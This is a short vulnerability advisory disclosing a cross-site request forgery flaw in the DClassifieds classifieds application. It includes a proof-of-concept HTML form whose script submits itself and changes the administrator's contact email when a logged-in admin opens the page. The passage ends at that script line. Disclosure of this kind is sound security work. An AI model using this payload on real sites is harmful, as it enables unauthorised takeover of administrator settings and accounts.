Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in DClassifieds, which can be
exploited to perform Сross-Site Request Rorgery (CSRF) attacks.

The application allows authorized users to perform certain actions via HTTP requests without making
proper validity checks to verify the source of the requests. This can be exploited to add, delete or modify
sensitive information, for example to change administrator's password or email.

An attacker should make logged-in administrator open a malicious link in the browser to exploit this vulnerability.

This PoC code will change administrator's email: 

<form action="http://[host]/admin/settings/update/id/4" method="post">
<input type="hidden" name="Settings[setting_name]" value="CONTACT_EMAIL">
<input type="hidden" name="Settings[setting_value]" value="hacker <at> mail.com">
<input type="hidden" name="Settings[setting_description]" value="Contact email">
<input type="hidden" name="Settings[setting_show_in_admin]" value="1">
<input type="hidden" name="yt0" value="Save">
<input type="submit" id="btn"> 
</form>
<script>
document.getElementById('btn').click();
